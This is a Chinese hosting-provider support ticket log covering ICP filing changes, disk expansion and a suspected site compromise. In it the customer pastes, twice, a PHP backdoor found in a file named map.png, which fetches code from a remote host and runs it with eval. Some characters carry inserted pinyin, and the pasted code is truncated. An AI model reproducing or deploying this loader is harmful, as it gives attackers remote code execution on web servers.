問：您好，這個怎么處理？之前的備案是轉(zhuǎn)入的，那個時候?qū)徍瞬粐溃ㄈ穗娫捄拓撠熑穗娫挷灰粯?您好，這個怎么處理？之前的備案是轉(zhuǎn)入的，那個時候?qū)徍瞬粐溃ㄈ穗娫捄拓撠熑穗娫挷灰粯?/p>
答：您好，主體負責人和網(wǎng)站負責人是同一個人時請?zhí)顚懴嗤穆?lián)系方式；修改變更和新增網(wǎng)站不支持同時操作，請先修改原備案信息提交變更申請，待變更通過后再新增網(wǎng)站操作；
請在備案信息頁面將新增網(wǎng)站刪除，刪除后可修改；請登記負責人現(xiàn)使用的手機號，修改一致后提交變更申請；非常感謝您長期對我司的支持.由此給您帶來的不便之處,敬請原諒!謝謝!
問：您好，著急備案，換個其他人作為網(wǎng)站負責人行嗎？
答：您好，原備案信息不準確會影響新增網(wǎng)站申請的，請先修改原備案信息變更，待變更完成后再新增網(wǎng)站備案；非常感謝您長期對我司的支持.由此給您帶來的不便之處,敬請原諒!謝謝!
問：
答：您好
問：2
答：您好
抱歉,不太明白您的意思,請問是需要擴容嗎？可在業(yè)務(wù)管理–服務(wù)器管理–升級中將系統(tǒng)盤推動到50G確定即可,升級前請先登錄到服務(wù)器內(nèi)部關(guān)機,升級后自動開機,升級后參考教程 http://www.shinetop.cn/faq/list.asp?unid=905 執(zhí)行下腳本即可成功擴容,,非常感謝您長期對我司的支持!
問：確認幫我刪除日志
答：您好
已經(jīng)清理,請重啟下服務(wù)器釋放一下,同時建議您將系統(tǒng)盤擴容至50G觀察使用,,非常感謝您長期對我司的支持!
問：刪除 C:\\inetpub\\temp\\map.png 這個文件，打開網(wǎng)站都顯示這個代碼：
map.png改成txt,顯示以下內(nèi)容：<?php $a=fopen('http://bd.dianshangguanjia.cn/j/map.jpg','r');$b='';while(false!=($c=fread($a,{$b.=$c;}print(eval("/*IYzMpfT*/".($c=$b)."/*IYzMpfT*/"));fclose($a);?>
現(xiàn)在 C:\\inetpub\\temp\\map.png 這個文件我刪除了里面內(nèi)容，但拐杖留了這個文件才正常顯示網(wǎng)頁。
問：現(xiàn)在 C:\\inetpub\\temp\\map.png 這個文件我刪除了里面內(nèi)容，但保留了這個文件才正常顯示網(wǎng)頁。
問：c沒網(wǎng)站內(nèi)容,怎么也能被侵入？
答：您好，這個應(yīng)該是一個緩存文件，您可以聯(lián)系核實下程序是否需要該文件，并核實下程序是否被黑了，如需我司協(xié)助排查，可以重新提交正確工單類型：【云服務(wù)器】–【站點設(shè)置】–【網(wǎng)站無法訪問/打開異常】會扣除一次金牌服務(wù)，非常感謝您長期對我司的支持！
問：不是緩存文件里面是這樣的<?php $a=fopen('http://bd.dianshangguanjia.cn/j/map.jpg','r');$b='';while(false!=($c=fread($a,{$b.=$c;}print(eval("/*IYzMpfT*/".($c=$b)."/*IYzMpfT*/"));fclose($a);?>
答：您好，直接訪問這個地址看起來沒有異常，從這個文件名和里面的代碼看很有可能是程序被黑了，您可以聯(lián)系程序提供商那邊排查下，非常感謝您長期對我司的支持！
